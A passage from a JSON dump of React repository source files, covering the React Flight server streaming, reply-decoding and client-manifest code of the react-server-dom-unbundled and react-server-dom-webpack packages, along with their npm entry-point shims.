'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction,\n  decodeFormState,\n} from 'react-server/src/ReactFlightActionServer';\n\nexport {\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n} from '../ReactFlightUnbundledReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigNode';\n\nimport {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\nfunction createDrainHandler(destination: Destination, request: Request) {\n  return () => startFlowing(request, destination);\n}\n\nfunction createCancelHandler(request: Request, reason: string) {\n  return () => {\n    stopFlowing(request);\n    abort(request, new Error(reason));\n  };\n}\n\nfunction startReadingFromDebugChannelReadable(\n  request: Request,\n  stream: Readable | WebSocket,\n): void {\n  const stringDecoder = createStringDecoder();\n  let lastWasPartial = false;\n  let stringBuffer = '';\n  function onData(chunk: string | Uint8Array) {\n    if (typeof chunk === 'string') {\n      if (lastWasPartial) {\n        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));\n        lastWasPartial = false;\n      }\n      stringBuffer += chunk;\n    } else {\n      const buffer: Uint8Array = (chunk: any);\n      stringBuffer += readPartialStringChunk(stringDecoder, buffer);\n      lastWasPartial = true;\n    }\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n  }\n  function onError(error: mixed) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: error,\n      }),\n    );\n  }\n  function onClose() {\n    closeDebugChannel(request);\n  }\n  if (\n    // $FlowFixMe[method-unbinding]\n    typeof stream.addEventListener === 'function' &&\n    // $FlowFixMe[method-unbinding]\n    typeof stream.binaryType === 'string'\n  ) {\n    const ws: WebSocket = (stream: any);\n    ws.binaryType = 'arraybuffer';\n    ws.addEventListener('message', event => {\n      // $FlowFixMe\n      onData(event.data);\n    });\n    ws.addEventListener('error', event => {\n      // $FlowFixMe\n      onError(event.error);\n    });\n    ws.addEventListener('close', onClose);\n  } else {\n    const readable: Readable = (stream: any);\n    readable.on('data', onData);\n    readable.on('error', onError);\n    readable.on('end', onClose);\n  }\n}\n\ntype Options = {\n  debugChannel?: Readable | Writable | Duplex | WebSocket,\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  startTime?: number,\n};\n\ntype PipeableStream = {\n  abort(reason: mixed): void,\n  pipe<T: Writable>(destination: T): T,\n};\n\nfunction renderToPipeableStream(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Options,\n): PipeableStream {\n  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;\n  const debugChannelReadable: void | Readable | WebSocket =\n    __DEV__ &&\n    debugChannel !== undefined &&\n    // $FlowFixMe[method-unbinding]\n    (typeof debugChannel.read === 'function' ||\n      typeof debugChannel.readyState === 'number')\n      ? (debugChannel: any)\n      : undefined;\n  const debugChannelWritable: void | Writable =\n    __DEV__ && debugChannel !== undefined\n      ? // $FlowFixMe[method-unbinding]\n        typeof debugChannel.write === 'function'\n        ? (debugChannel: any)\n        : // $FlowFixMe[method-unbinding]\n          typeof debugChannel.send === 'function'\n          ? createFakeWritableFromWebSocket((debugChannel: any))\n          : undefined\n      : undefined;\n  const request = createRequest(\n    model,\n    webpackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  let hasStartedFlowing = false;\n  startWork(request);\n  if (debugChannelWritable !== undefined) {\n    startFlowingDebug(request, debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadable(request, debugChannelReadable);\n  }\n  return {\n    pipe<T: Writable>(destination: T): T {\n      if (hasStartedFlowing) {\n        throw new Error(\n          'React currently only supports piping to one writable stream.',\n        );\n      }\n      hasStartedFlowing = true;\n      startFlowing(request, destination);\n      destination.on('drain', createDrainHandler(destination, request));\n      destination.on(\n        'error',\n        createCancelHandler(\n          request,\n          'The destination stream errored while writing data.',\n        ),\n      );\n      // We don't close until the debug channel closes.\n      if (!__DEV__ || debugChannelReadable === undefined) {\n        destination.on(\n          'close',\n          createCancelHandler(request, 'The destination stream closed early.'),\n        );\n      }\n      return destination;\n    },\n    abort(reason: mixed) {\n      abort(request, reason);\n    },\n  };\n}\n\nfunction createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {\n  return ({\n    write(chunk: string | Uint8Array) {\n      webSocket.send((chunk: any));\n      return true;\n    },\n    end() {\n      webSocket.close();\n    },\n    destroy(reason) {\n      if (typeof reason === 'object' && reason !== null) {\n        reason = reason.message;\n      }\n      if (typeof reason === 'string') {\n        webSocket.close(1011, reason);\n      } else {\n        webSocket.close(1011);\n      }\n    },\n  }: any);\n}\n\nfunction createFakeWritableFromReadableStreamController(\n  controller: ReadableStreamController,\n): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      if (typeof chunk === 'string') {\n        chunk = textEncoder.encode(chunk);\n      }\n      controller.enqueue(chunk);\n      // in web streams there is no backpressure so we can always write more\n      return true;\n    },\n    end() {\n      controller.close();\n    },\n    destroy(error) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof controller.error === 'function') {\n        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n        controller.error(error);\n      } else {\n        controller.close();\n      }\n    },\n  }: any);\n}\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction renderToReadableStream(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Omit<Options, 'debugChannel'> & {\n    debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n    signal?: AbortSignal,\n  },\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    webpackMap,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    let debugWritable: Writable;\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        start: (controller): ?Promise<void> => {\n          debugWritable =\n            createFakeWritableFromReadableStreamController(controller);\n        },\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, debugWritable);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  let writable: Writable;\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        writable = createFakeWritableFromReadableStreamController(controller);\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, writable);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\nfunction createFakeWritableFromNodeReadable(readable: any): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      return readable.push(chunk);\n    },\n    end() {\n      readable.push(null);\n    },\n    destroy(error) {\n      readable.destroy(error);\n    },\n  }: any);\n}\n\ntype PrerenderOptions = {\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  signal?: AbortSignal,\n  startTime?: number,\n};\n\ntype StaticResult = {\n  prelude: Readable,\n};\n\nfunction prerenderToNodeStream(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: PrerenderOptions,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const readable: Readable = new Readable({\n        read() {\n          startFlowing(request, writable);\n        },\n      });\n      const writable = createFakeWritableFromNodeReadable(readable);\n      resolve({prelude: readable});\n    }\n\n    const request = createPrerenderRequest(\n      model,\n      webpackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction prerender(\n  model: ReactClientValue,\n  webpackMap: ClientManifest,\n  options?: Options & {\n    signal?: AbortSignal,\n  },\n): Promise<{\n  prelude: ReadableStream,\n}> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      let writable: Writable;\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            writable =\n              createFakeWritableFromReadableStreamController(controller);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, writable);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      webpackMap,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction decodeReplyFromBusboy<T>(\n  busboyStream: Busboy,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n  let pendingFiles = 0;\n  const queuedFields: Array<string> = [];\n  busboyStream.on('field', (name, value) => {\n    if (pendingFiles > 0) {\n      // Because the 'end' event fires two microtasks after the next 'field'\n      // we would resolve files and fields out of order. To handle this properly\n      // we queue any fields we receive until the previous file is done.\n      queuedFields.push(name, value);\n    } else {\n      try {\n        resolveField(response, name, value);\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    }\n  });\n  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {\n    if (encoding.toLowerCase() === 'base64') {\n      busboyStream.destroy(\n        new Error(\n          \"React doesn't accept base64 encoded file uploads because we don't expect \" +\n            \"form data passed from a browser to ever encode data that way. If that's \" +\n            'the wrong assumption, we can easily fix it.',\n        ),\n      );\n      return;\n    }\n    pendingFiles++;\n    const file = resolveFileInfo(response, name, filename, mimeType);\n    value.on('data', chunk => {\n      resolveFileChunk(response, file, chunk);\n    });\n    value.on('end', () => {\n      try {\n        resolveFileComplete(response, name, file);\n        pendingFiles--;\n        if (pendingFiles === 0) {\n          // Release any queued fields\n          for (let i = 0; i < queuedFields.length; i += 2) {\n            resolveField(response, queuedFields[i], queuedFields[i + 1]);\n          }\n          queuedFields.length = 0;\n        }\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    });\n  });\n  busboyStream.on('finish', () => {\n    close(response);\n  });\n  busboyStream.on('error', err => {\n    reportGlobalError(\n      response,\n      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible\n      err,\n    );\n  });\n  return getRoot(response);\n}\n\nfunction decodeReply<T>(\n  body: string | FormData,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nfunction decodeReplyFromAsyncIterable<T>(\n  iterable: AsyncIterable<[string, string | File]>,\n  webpackMap: ServerManifest,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const iterator: AsyncIterator<[string, string | File]> =\n    iterable[ASYNC_ITERATOR]();\n\n  const response = createResponse(\n    webpackMap,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n\n  function progress(\n    entry:\n      | {done: false, +value: [string, string | File], ...}\n      | {done: true, +value: void, ...},\n  ) {\n    if (entry.done) {\n      close(response);\n    } else {\n      const [name, value] = entry.value;\n      if (typeof value === 'string') {\n        resolveField(response, name, value);\n      } else {\n        resolveFile(response, name, value);\n      }\n      iterator.next().then(progress, error);\n    }\n  }\n  function error(reason: Error) {\n    reportGlobalError(response, reason);\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n\n  iterator.next().then(progress, error);\n\n  return getRoot(response);\n}\n\nexport {\n  renderToReadableStream,\n  renderToPipeableStream,\n  prerender,\n  prerenderToNodeStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n};\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/server/ReactFlightServerConfigUnbundledBundler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\nimport type {\n  ImportMetadata,\n  ImportManifestEntry,\n} from '../shared/ReactFlightImportMetadata';\n\nimport type {\n  ClientReference,\n  ServerReference,\n} from '../ReactFlightUnbundledReferences';\n\nexport type {ClientReference, ServerReference};\n\nexport type ClientManifest = {\n  [id: string]: ClientReferenceManifestEntry,\n};\n\nexport type ServerReferenceId = string;\n\nexport type ClientReferenceMetadata = ImportMetadata;\nexport opaque type ClientReferenceManifestEntry = ImportManifestEntry;\n\nexport type ClientReferenceKey = string;\n\nexport {\n  isClientReference,\n  isServerReference,\n} from '../ReactFlightUnbundledReferences';\n\nexport function getClientReferenceKey(\n  reference: ClientReference<any>,\n): ClientReferenceKey {\n  return reference.$$async ? reference.$$id + '#async' : reference.$$id;\n}\n\nexport function resolveClientReferenceMetadata<T>(\n  config: ClientManifest,\n  clientReference: ClientReference<T>,\n): ClientReferenceMetadata {\n  const modulePath = clientReference.$$id;\n  let name = '';\n  let resolvedModuleData = config[modulePath];\n  if (resolvedModuleData) {\n    // The potentially aliased name.\n    name = resolvedModuleData.name;\n  } else {\n    // We didn't find this specific export name but we might have the * export\n    // which contains this name as well.\n    // TODO: It's unfortunate that we now have to parse this string. We should\n    // probably go back to encoding path and name separately on the client reference.\n    const idx = modulePath.lastIndexOf('#');\n    if (idx !== -1) {\n      name = modulePath.slice(idx + 1);\n      resolvedModuleData = config[modulePath.slice(0, idx)];\n    }\n    if (!resolvedModuleData) {\n      throw new Error(\n        'Could not find the module \"' +\n          modulePath +\n          '\" in the React Client Manifest. ' +\n          'This is probably a bug in the React Server Components bundler.',\n      );\n    }\n  }\n  if (resolvedModuleData.async === true && clientReference.$$async === true) {\n    throw new Error(\n      'The module \"' +\n        modulePath +\n        '\" is marked as an async ESM module but was loaded as a CJS proxy. ' +\n        'This is probably a bug in the React Server Components bundler.',\n    );\n  }\n  if (resolvedModuleData.async === true || clientReference.$$async === true) {\n    return [resolvedModuleData.id, resolvedModuleData.chunks, name, 1];\n  } else {\n    return [resolvedModuleData.id, resolvedModuleData.chunks, name];\n  }\n}\n\nexport function getServerReferenceId<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): ServerReferenceId {\n  return serverReference.$$id;\n}\n\nexport function getServerReferenceBoundArguments<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): null | Array<ReactClientValue> {\n  return serverReference.$$bound;\n}\n\nexport function getServerReferenceLocation<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): void | Error {\n  return serverReference.$$location;\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/server/react-flight-dom-server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  renderToPipeableStream,\n  prerender,\n  prerenderToNodeStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createClientModuleProxy,\n  createTemporaryReferenceSet,\n} from './ReactFlightDOMServerNode';\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/shared/ReactFlightImportMetadata.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type ImportManifestEntry = {\n  id: string,\n  // chunks is a double indexed array of chunkId / chunkFilename pairs\n  chunks: Array<string>,\n  name: string,\n  async?: boolean,\n};\n\n// This is the parsed shape of the wire format which is why it is\n// condensed to only the essentialy information\nexport type ImportMetadata =\n  | [\n      /* id */ string,\n      /* chunks id/filename pairs, double indexed */ Array<string>,\n      /* name */ string,\n      /* async */ 1,\n    ]\n  | [\n      /* id */ string,\n      /* chunks id/filename pairs, double indexed */ Array<string>,\n      /* name */ string,\n    ];\n\nexport const ID = 0;\nexport const CHUNKS = 1;\nexport const NAME = 2;\n// export const ASYNC = 3;\n\n// This logic is correct because currently only include the 4th tuple member\n// when the module is async. If that changes we will need to actually assert\n// the value is true. We don't index into the 4th slot because flow does not\n// like the potential out of bounds access\nexport function isAsyncImport(metadata: ImportMetadata): boolean {\n  return metadata.length === 4;\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/static.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/static.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  prerender,\n  prerenderToNodeStream,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/README.md",
    "content": "# react-server-dom-webpack\n\nExperimental React Flight bindings for DOM using Webpack.\n\n**Use it at your own risk.**\n"
  },
  {
    "path": "packages/react-server-dom-webpack/client.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.browser';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/client.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.edge';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/client.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './client.browser';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/client.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.node';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/esm/react-server-dom-webpack-node-loader.production.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from '../src/ReactFlightWebpackNodeLoader.js';\n"
  },
  {
    "path": "packages/react-server-dom-webpack/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error('Use react-server-dom-webpack/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-webpack/node-register.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nmodule.exports = require('./src/ReactFlightWebpackNodeRegister');\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/client.browser.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-webpack-client.browser.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-webpack-client.browser.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/client.edge.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-webpack-client.edge.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-webpack-client.edge.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/client.js",
    "content": "'use strict';\n\nmodule.exports = require('./client.browser');\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/client.node.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-webpack-client.node.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-webpack-client.node.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/client.node.unbundled.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-webpack-client.node.unbundled.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-webpack-client.node.unbundled.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nthrow new Error('Use react-server-dom-webpack/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/node-register.js",
    "content": "'use strict';\n\nmodule.exports = require('./cjs/react-server-dom-webpack-node-register.js');\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/plugin.js",
    "content": "'use strict';\n\nmodule.exports = require('./cjs/react-server-dom-webpack-plugin.js');\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/server.browser.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-webpack-server.browser.production.js');\n} else {\n  s = require('./cjs/react-server-dom-webpack-server.browser.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createClientModuleProxy = s.createClientModuleProxy;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/server.edge.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-webpack-server.edge.production.js');\n} else {\n  s = require('./cjs/react-server-dom-webpack-server.edge.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createClientModuleProxy = s.createClientModuleProxy;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/server.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-webpack-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-webpack-server.node.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.renderToPipeableStream = s.renderToPipeableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;\nexports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createClientModuleProxy = s.createClientModuleProxy;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/server.node.unbundled.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-webpack-server.node.unbundled.production.js');\n} else {\n  s = require('./cjs/react-server-dom-webpack-server.node.unbundled.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.renderToPipeableStream = s.renderToPipeableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;\nexports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createClientModuleProxy = s.createClientModuleProxy;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-webpack/npm/static.browser.js",
